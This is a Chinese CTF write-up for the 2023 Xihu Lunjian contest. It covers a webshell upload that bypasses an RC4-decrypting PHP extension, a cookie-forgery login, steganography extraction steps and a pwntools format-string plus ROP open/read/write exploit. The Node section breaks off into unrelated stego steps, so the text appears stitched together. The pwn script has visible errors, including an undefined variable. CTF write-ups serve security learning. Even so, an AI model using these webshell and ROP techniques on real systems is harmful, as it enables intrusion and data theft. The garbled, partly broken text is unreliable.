2023西湖论剑-(部分)WP

题目一名称:

unusual php

  1. 打开贴出了源码

发现可以文件上传然后直接上传php

发现提示错误 php没有解析成功

然后读取index.php 发现乱码

猜测后端处理应该有解密的操作,

在 上传文件时候贴上读取的index.php 解析正常 验证了猜想

然后在后面补充任意字符换行最后报错提示了/tmp/fuck.php

然后寻找加密猜测应该是有依赖通过对/proc/self/maps读取发现了

然后把zend_test.so 下载下来逆向分析

发现处理原理,解析时候先把文件读取然后rc4解密写入缓存文件/tmp/fuck.php (必须包含php字符串)

还有密匙直接构造一个加密的webshell上传

成功解析shell

然后读取/flag发现权限不足

测试后发现可以执行chmod

然后直接给flag权限然后读取

sudo chmod 777 flag

题目二名称:Node Magical Login

  1. flag1 直接修改cookie附带user=admin然后查看响应头
  2. 然后想办法得到flag2
 

    二 解题步骤

    1.分析文件

    (1)放入Audacity中查看频谱信息无果

    (2)010editor中查看文件结构

     文件尾部存在PNG文件尾,搜索png文件头

    将该png文件复制提取出来,得到cipher_50CFEh_2FEh.png

    有点像二维码,甚至Google到了图片降噪

    2. 分析png

    使用zsteg查看是否存在lsb信息

     明显看到存在一个zip压缩数据内容。

    1

    zsteg -E 'b1,r,lsb,xy'  cipher_50CFEh_2FEh.png > c1.zip<br>#该方式提取出来的zip打开会报错,按照zsteg显示的信息使用stegsolve提取一下

     

     保存后就可以正常打开了,得到一个带密码的压缩包

    注:不是伪加密

    3.分析zip

    密码信息想到一个MP3音频隐写工具  MP3Steno.将cipher.mp3放到工具目录下使用GUI界面解密或者命令行提取都行。

     

     得到

     解压成功得到47.txt

    4.分析txt

    1

    2lO,.j2lL000iZZ2[2222iWP,.ZQQX,2.[002iZZ2[2020iWP,.ZQQX,2.[020iZZ2[2022iWLNZQQX,2.[2202iW2,2.ZQQX,2.[022iZZ2[2220iWPQQZQQX,2.[200iZZ2[202iZZ2[2200iWLNZQQX,2.[220iZZ2[222iZZ2[2000iZZ2[2002iZZ2Nj2]20lW2]20l2ZQQX,2]202.ZW2]02l2]20,2]002.XZW2]22lW2]2ZQQX,2]002.XZWWP2XZQQX,2]022.ZW2]00l2]20,2]220.XZW2]2lWPQQZQQX,2]002.XZW2]0lWPQQZQQX,2]020.XZ2]20,2]202.Z2]00Z2]02Z2]2j2]22l2]2ZWPQQZQQX,2]022.Z2]00Z2]0Z2]2Z2]22j2]2lW2]000X,2]20.,2]20.j2]2W2]2W2]22ZQ-QQZ2]2020ZWP,.ZQQX,2]020.Z2]2220ZQ--QZ2]002Z2]220Z2]020Z2]00ZQW---Q--QZ2]002Z2]000Z2]200ZQ--QZ2]002Z2]000Z2]002ZQ--QZ2]002Z2]020Z2]022ZQ--QZ2]002Z2]000Z2]022ZQ--QZ2]002Z2]020Z2]200ZQ--QZ2]002Z2]000Z2]220ZQLQZ2]2222Z2]2000Z2]000Z2]2002Z2]222Z2]020Z2]202Z2]222Z2]2202Z2]220Z2]2002Z2]2002Z2]2202Z2]222Z2]2222Z2]2202Z2]2022Z2]2020Z2]222Z2]2220Z2]2002Z2]222Z2]2020Z2]002Z2]202Z2]2200Z2]200Z2]2222Z2]2002Z2]200Z2]2022Z2]200ZQN---Q--QZ2]200Z2]000ZQXjQZQ-QQXWXXWXj

     

    像是某种编码,通过文件名47,联想到  ROT47

     得到另外一串编码,该编码像是js代码变量拼接输出了一些东西,直接F12控制台输出。

     

    PWN:

    Message Board

    from pwn import *


     

    context(arch='amd64',log_level='debug')

    io = process('./pwn')

    io = remote('tcp.cloud.dasctf.com',28345)

    libc = ELF('./libc.so.6')

    io.recvuntil('name:')

    pay = f'%{6+0x19}$p%p'

    io.send(pay)

    io.recvuntil('Hello, ')

    __libc_start_main_128 = int(io.recv(len('0x7efe283c8e40')),16)

    stack= int(io.recv(len('0x7efe283c8e40')),16)

    log.success(str(__libc_start_main_128))

    libc_base = __libc_start_main_128 - 243  - libc.sym['__libc_start_main']

    log.success('libc_base:'+hex(libc_base))

    log.success('stack:'+hex(stack))

    rop= ROP('./libc.so.6')


     

    pop_rax = libc_base + rop.find_gadget(['pop rax','ret'])[0]

    pop_rsi = libc_base + rop.find_gadget(['pop rsi','ret'])[0]

    pop_rdi = libc_base + rop.find_gadget(['pop rdi','ret'])[0]

    syscall_ret = libc_base + rop.find_gadget(['syscall','ret'])[0]

    #ROPgadget --binary ./libc.so.6 --only "pop|ret"|grep rdx

    padb = libc_base +0x000000000015f8c5 # pop rax ; pop rdx ; pop rbx ; ret

    log.success(hex(pop_rax))

    log.success(hex(pop_rsi))

    log.success(hex(pop_rdi))

    ret = 0x4013A3

    orw_pay = p64(ret)*8 +flat([

        0x0067616c662f,

        padb,

        2,

        0,

        0,

        pop_rsi,

        0,

        pop_rdi,

        stack+0x50,

        syscall_ret,

        pop_rdi,

        3,

        pop_rsi,

        stack+0x50,

        padb,

        0,

        0x40,

        0,

        syscall_ret,

        pop_rax,

        1,

        pop_rdi,

        1,

        syscall_ret

        ])


     

    read_pay =  flat([

        pop_rdi,

        0,

        pop_rsi,

        stack+0x10,

        padb,

        0,

        0x100,

        0,

        syscall_ret

        ])


     

    print(hex(len(orw)))

    io.recvuntil('DASCTF:')

    payload = read_pay.ljust(0xb0,b'\x00') +p64(stack + 0x8) + p64(0x4013A2)

    io.send(payload)

    io.interactive()

    io.send(orw_pay)

    # Ctrl + c

    io.interactive()

     

点赞(4) 打赏

评论列表 共有 0 条评论

暂无评论

微信小程序

微信扫一扫体验

立即
投稿

微信公众账号

微信扫一扫加关注

发表
评论
返回
顶部